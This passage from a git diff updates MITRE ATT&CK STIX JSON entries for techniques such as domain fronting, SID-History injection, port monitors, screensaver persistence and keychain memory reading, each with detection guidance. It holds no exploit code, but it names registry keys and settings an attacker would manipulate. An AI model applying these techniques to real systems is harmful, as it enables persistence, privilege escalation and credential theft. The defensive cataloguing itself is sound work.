+            "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection\n\nRequires Network: Yes",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "command-and-control"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1172",
+                    "external_id": "T1172"
+                },
+                {
+                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
+                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
+                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "SSL/TLS inspection"
+            ],
+            "x_mitre_network_requirements": true,
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d.json b/enterprise-attack/attack-pattern/attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d.json
new file mode 100644
index 0000000000..1ef1f853ca
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d.json
@@ -0,0 +1,72 @@
+{
+    "type": "bundle",
+    "id": "bundle--5826b028-132f-4567-9aa6-496126b678c7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SID-History Injection",
+            "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1178",
+                    "external_id": "T1178"
+                },
+                {
+                    "source_name": "Microsoft SID",
+                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
+                },
+                {
+                    "source_name": "Microsoft Well Known SIDs Jun 2017",
+                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
+                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
+                },
+                {
+                    "source_name": "Microsoft Get-ADUser",
+                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
+                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
+                },
+                {
+                    "source_name": "AdSecurity SID History Sept 2015",
+                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
+                    "url": "https://adsecurity.org/?p=1772"
+                },
+                {
+                    "source_name": "Microsoft DsAddSidHistory",
+                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
+                    "url": "https://msdn.microsoft.com/library/ms677982.aspx"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Authentication logs",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125.json b/enterprise-attack/attack-pattern/attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125.json
index 859251fc6d..8c5d2305f5 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56c87914-b757-45aa-b677-a430b33919f6",
+    "id": "bundle--a43fc0ea-f019-48bc-aa87-569180ea0754",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:26.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Local Port Monitor",
-            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. (Citation: Bloxham) The spoolsv.exe process also runs under SYSTEM level permissions.\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Port Monitors",
+            "description": "A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n*Local Port\n*Standard TCP/IP Port\n*USB Monitor\n*WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\n\nDetection: * Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring\n\nEffective Permissions: SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -47,7 +47,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Stefan Kanthak"
+                "Stefan Kanthak",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "File monitoring",
@@ -64,18 +65,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302.json b/enterprise-attack/attack-pattern/attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302.json
index 4ebf77ef08..ed33b62cea 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--424d54c6-2792-40a4-b703-6c193a2c97da",
+    "id": "bundle--534a9dbd-e6ff-45cc-b529-e6b5243db551",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:33.499Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvcs/Regasm",
-            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -60,18 +60,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_remote_support": false
         }
diff --git a/enterprise-attack/attack-pattern/attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7.json b/enterprise-attack/attack-pattern/attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7.json
index 075d3182ed..9d6855d002 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--655ea78c-6122-40d0-ba88-2f69fe4d1b02",
+    "id": "bundle--5e8ae6c9-6bef-4d34-8604-db1bab4c05ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:51.330Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Software Discovery",
-            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.\n\n===Windows===\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n===Mac===\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -38,20 +38,8 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c.json b/enterprise-attack/attack-pattern/attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c.json
index f5cbaf1147..3e302a3250 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee7818a8-57dd-463c-9dc6-935a77bdff68",
+    "id": "bundle--d75bf479-6c8d-4aea-a5f4-fb248b858526",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:01.759Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taint Shared Content",
-            "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions",
+            "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Access to shared folders and content with write permissions",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -32,18 +32,7 @@
                 "Process monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Access to shared folders and content with write permissions"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b.json b/enterprise-attack/attack-pattern/attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b.json
index 792c27ff13..eed6e6d281 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ac1acac-0fcc-459b-8b7f-b9c58cd33122",
+    "id": "bundle--62b2a353-2d93-478c-a293-8c8d2e16a729",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Securityd Memory",
-            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: OS X\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
+            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -49,7 +49,7 @@
                 "root"
             ],
             "x_mitre_platforms": [
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae.json b/enterprise-attack/attack-pattern/attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae.json
new file mode 100644
index 0000000000..03ea093c2f
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae.json
@@ -0,0 +1,57 @@
+{
+    "type": "bundle",
+    "id": "bundle--1ea8be44-d201-444e-9719-c8bc441df22a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Screensaver",
+            "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in <code>C:\\Windows\\System32\\</code> along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n*<code>SCRNSAVE.exe</code> - set to malicious PE path\n*<code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n*<code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n*<code>ScreenSaverTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1180",
+                    "external_id": "T1180"
+                },
+                {
+                    "source_name": "Wikipedia Screensaver",
+                    "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/Screensaver"
+                },
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Bartosz Jerzman"
+            ],
+            "x_mitre_data_sources": [
+                "Process Monitoring",
+                "Process command-line parameters",
+                "Windows Registry",
+                "File monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f.json b/enterprise-attack/attack-pattern/attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f.json
index 3f8cb48e02..8472a4b909 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4e596787-6472-4845-9713-050cbc45918f",
+    "id": "bundle--127c4b74-64a1-47af-aaa7-bdf137fd1ed6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Startup Items",
-            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and 